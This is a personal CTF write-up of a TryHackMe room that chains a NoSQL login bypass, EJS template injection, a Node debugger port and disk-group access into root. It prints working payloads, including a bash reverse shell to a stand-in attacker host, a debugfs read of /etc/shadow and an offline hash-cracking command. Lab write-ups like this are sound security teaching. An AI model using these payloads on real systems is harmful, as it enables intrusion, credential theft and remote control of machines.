THM Do Not Disturb

Introduction

TryHackMe’s Do Not Disturb box chains five small vulnerabilities into one root shell: a NoSQL bypass into a staff console, a template injection field that runs code, a stray debug port, and a forgotten group membership that hands over the disk.

Once again, this was a tough one for a beginning pentester. But it was fun for sure!

Recon

The target ran an Express app (X-Powered-By: Express header), which usually means Node.js and often MongoDB.

curl -v http://TARGET/
nmap -sC -sV TARGET

The root page served a login form posting to /login, with a Staff / Guest ID field, and no authentication needed to view it.

NoSQL authentication bypass

Node plus Mongo plus a login form invites NoSQL injection. If the app forwards a JSON body straight into a Mongo query without validating types, I can send operators instead of strings.

I’ll be honest: it now sounds that this was obvious to me. It wasn’t. I had to research it and find out after trying quite a few other things. Eventually, the NoSQL injection seemed to be the most obvious attack vector.

The $ne operator below, means “not equal.” Asking for a username that is not null and a password that is not null matches every user in the collection.

curl -X POST -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}' \
  http://TARGET/login

Response: {"ok":true,"role":"guest"}, logged in without a password.

One catch: which user comes back isn’t guaranteed. On one rebuild I got guest, on another staff. Mongo returns whatever matches first, and that order isn’t stable. To force a higher role, exclude the user you already know exists rather than guessing one you haven’t earned:

curl -c cookies.txt -X POST -H "Content-Type: application/json" \
  -d '{"username":{"$ne":"guest"},"password":{"$ne":null}}' \
  http://TARGET/login

That returned staff, and -c cookies.txt saved the session cookie (connect.sid, the express-session default).

Reusing the cookie in a browser

The staff console lives behind that session. Fastest way in: run the injection from the browser’s own console, so it stores the cookie for you. Via your browsers DevTools, Console tab:

fetch('/login', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({username: {$ne: 'guest'}, password: {$ne: null}})
}).then(r => r.json()).then(console.log)

Refresh, hit /staff, and you’re in.

Later I found the extension Cookie-Editor, which made it a bit more user friendly.

Template injection

The staff console had a field labelled Confirmation template (EJS - use <%= guest %> to personalise). Input here is rendered by EJS server-side.

I first tried a <script> tag and it fired. That only proves the browser renders it, not that the server evaluates the input. Arithmetic settles the question:

<%= 7*7 %>

Preview returned 49. The server evaluated it. That’s Server-Side Template Injection (SSTI), and in EJS it reaches Node directly.

From SSTI to a shell

EJS templates run in Node, so I have require, which means child_process:

<%= global.process.mainModule.require('child_process').execSync('id') %>

Yes, for this I also had to google my ass off. If this room taught me one thing, it’s that I need to be more proficient in more languages/syntaxes like Python, Node, etc.

Anyway, the above returned the poolside user, so I went for a reverse shell. Listener at the attack machine first:

ncat -lvnp 4444

Then the payload in the template field (swap in your attacker IP and port):

<%= global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"') %>

Stabilize the shell so it behaves like a real terminal (last post I was a bit more verbose on these steps):

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Grab the user flag before the box falls over, then look around some more.

An open Node debugger

After the user flag, it took me quite a long time to find some solid steps to follow up. I fiddled around with Linpeas again, and tried to find more evidence of obvious misconfigurations. Eventually I succeeded.

Enumerating services showed two that seemed interesting, running as different users:

systemctl list-units --type=service | grep -i -E 'pool|lotus'

poolside.service was me. lotus-telemetry.service ran as pipelinesvc, and its ExecStart had something the other didn’t:

ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 processor.js

The --inspect flag opens the V8 inspector, a debug interface bound to localhost. Never heard about it, essential for this lab.

When you Google around a bit, you find a couple of Chrome DevTools blogs. But, Chrome DevTools can’t reach it, since the port only listens on 127.0.0.1 and my browser sits on another machine. But DevTools just speaks the Chrome DevTools Protocol over a WebSocket, and my local shell can reach 127.0.0.1 fine.

So we’ll continue on the terminal. Confirm it’s there and get the socket URL:

curl -s http://127.0.0.1:9229/json

Runtime.evaluate over that WebSocket runs JavaScript inside the debugged process, running as pipelinesvc. I used node-inspector-rce to get some more insight into it:

python3 node_inspector_lpe.py --payload id
# uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

The disk group

That last field was the win: 6(disk). The disk group gets raw read and write access to the block devices under /dev/, underneath the filesystem layer that enforces file permissions. Read the disk directly, and you can read any file on it, including /etc/shadow (which gives you the root hash).

Find the device backing root:

mount | grep ' / '
debugfs -R "cat /etc/shadow" /dev/DEVICE

From there I pulled root’s hash out of the shadow file and cracked it offline, which kept things fast and didn’t rely on a box that kept crashing.

Cracking the hash

The hash started with $y$, which is yescrypt, the default on Ubuntu 22.04 and later (this box was tryhackme-2404, so 24.04).

Two things bit me here.

  • My go-to hashcat doesn’t support yescrypt. It’s memory-hard by design, exactly the property that defeats a GPU tool, which is why $y$ is absent from the hashcat example-hashes list. Use John the Ripper instead.
  • John needs a libcrypt that knows yescrypt. On my Mac, John’s crypt passthrough failed with type id $y appears to be unsupported on this system, because macOS has no yescrypt in its crypt library. Moving to a Linux box with modern libxcrypt fixed it:
echo 'root:$y$j9T$...:20620:0:99999:7:::' > roothash.txt
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt roothash.txt

Cracked. Root.

On a side note: the entire hashcat vs john debacle, finally convinced me to not fool around with Mac anymore, for pentesting purposes. I’m only using Kali now.

The chain

The complete chain in one view.

LinkWeaknessGets you
1NoSQL $ne injectionstaff session, no password
2EJS SSTI in staff consoleserver-side code eval
3child_process via SSTIshell as poolside
4--inspect debugger on localhostcode exec as pipelinesvc
5disk group membershipraw disk read, root hash, root

Summary

Couple of point to summarize, accompanying the above table.

  • Read the labels. The EJS hint and the --inspect flag both sat in plain sight and both were the answer
  • Confirm server-side execution before calling something XSS (which I did at first). Arithmetic like <%= 7*7 %> proves the server evaluated your input
  • Group membership is a permission. disk, docker, lxd, adm; run id after every lateral move
  • Match the tool to the hash. Yescrypt means John on Linux, never hashcat

Next

Another room, called The Hollow Shell.

These last two rooms, I really had to fight hard, and both took me many hours of trying, fiddling, Googling, the community, etc. The next room… I couldn’t do it, not within a day at least. Besides the regular ‘support lines’, I used some YouTube material as well.

It’s pretty awesome though. So be sure to read it.